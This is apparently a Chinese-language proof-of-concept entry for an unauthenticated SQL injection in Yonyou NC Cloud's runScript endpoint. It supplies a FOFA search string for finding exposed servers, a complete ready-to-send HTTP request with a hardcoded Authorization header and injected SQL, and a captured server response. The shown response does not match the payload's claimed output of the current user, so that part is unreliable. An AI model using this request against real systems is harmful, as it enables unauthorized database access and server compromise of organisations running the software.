

Y8-1用友-NCcloud-SQL

漏洞描述:

用友NC Cloud /ncchr/attendScript/internal/runScript接口处存在SQL注入漏洞，未授权的攻击者可以通过此漏洞获取数据库权限，进一步利用可导致服务器失陷。

网站图片:



Copyright ©2019用友网络科技股份有限公司版权所有

网络测绘:

fofa语法:

FOFA: app="用友-NC-Cloud"

漏洞复现:

payload:

```
POST /ncchr/attendScript/internal/runScript HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en
Authorization: 58e00466213416018d01d15de83b0198
Accept-Encoding: gzip
```

key=1&script=select 1,111*111,user,4,5,6,7,8,9,10 from dual

效果图:

查询当前用户

Request

< > 数据包扫描 热加载 构造请求

1 POST /ncchr/attendScript/internal/runScript HTTP/1.1

2 Host: 10.10.10.10

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36

4 Connection: close

5 Content-Type: application/x-www-form-urlencoded

6 Accept: */*

7 Accept-Language: en

8 Authorization: 58e00466213416018d01d15de83b0198

9 Accept-Encoding: gzip

10

11 key=1&script=select 1,111*111,user,4,5,6,7,8,9,10 from dual

Responses 82bytes / 9ms

1 HTTP/1.1 200 OK

2 Access-Control-Allow-Origin: *

3 Access-Control-Allow-Methods: *

4 Content-Type: application/x-www-form-urlencoded

5 Date: Wed, 20 Mar 2024 08:15:37 GMT

6 Connection: close

7 Server: server

8 Content-Length: 82

9

10 [{"1":1,"4":4,"5":5,"6":6,"7":7,"8":8,"9":9}]